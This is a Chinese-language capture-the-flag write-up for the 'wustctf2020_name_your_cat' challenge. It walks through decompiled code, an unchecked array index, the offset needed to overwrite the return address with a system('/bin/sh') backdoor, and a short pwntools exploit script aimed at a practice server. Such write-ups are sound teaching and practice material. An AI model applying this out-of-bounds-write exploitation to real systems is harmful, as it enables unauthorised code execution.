wustctf2020_name_your_cat
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)
32位,开了NX和canary
int shell()
{return system("/bin/sh");
}
有个后门函数
unsigned int vulnerable()
{int v0; // ST20_4signed int i; // [esp+Ch] [ebp-3Ch]char v3[40]; // [esp+14h] [ebp-34h]unsigned int v4; // [esp+3Ch] [ebp-Ch]v4 = __readgsdword(0x14u);puts("I bought you five famale cats.Name for them?");for ( i = 1; i <= 5; ++i ){v0 = NameWhich((int)v3);printf("You get %d cat!!!!!!\nlemonlemonlemonlemonlemonlemonlemon5555555\n", i);printf("Her name is:%s\n\n", &v3[8 * v0]);}return __readgsdword(0x14u) ^ v4;
}
这里有个&v3[8 * v0]
,如果v0可以控制,我们就相当于任意地址写,v0是下面函数的返回值
int __cdecl NameWhich(int a1)
{int v2; // [esp+18h] [ebp-10h]unsigned int v3; // [esp+1Ch] [ebp-Ch]v3 = __readgsdword(0x14u);printf("Name for which?\n>");__isoc99_scanf("%d", &v2);printf("Give your name plz: ");__isoc99_scanf("%7s", 8 * v2 + a1);return v2;
}
v0也就是这个函数的v2,没有边界处理,可以任意写
思路
利用两个函数,控制v3数组的返回值,改成后门函数,当我们结束函数,就可以跳转了
具体算的话
char v3[40]; // [esp+14h] [ebp-34h]
ebp是0x34,到返回值是0x38=56
&v3[8 * v0]要v3到返回值就是56/8=7
只要v0等于7,然后我们写入后门函数即可
from pwn import*
from Yapack import *
r,elf=rec("node4.buuoj.cn",26539,"./pwn",10)
context(os='linux', arch='i386',log_level='debug')sla(b'>',b'7')
sla(b'plz: ',p32(0x80485D4))
for i in range(4):sla(b'>',b'1')sla(b'plz: ',b'a')ia()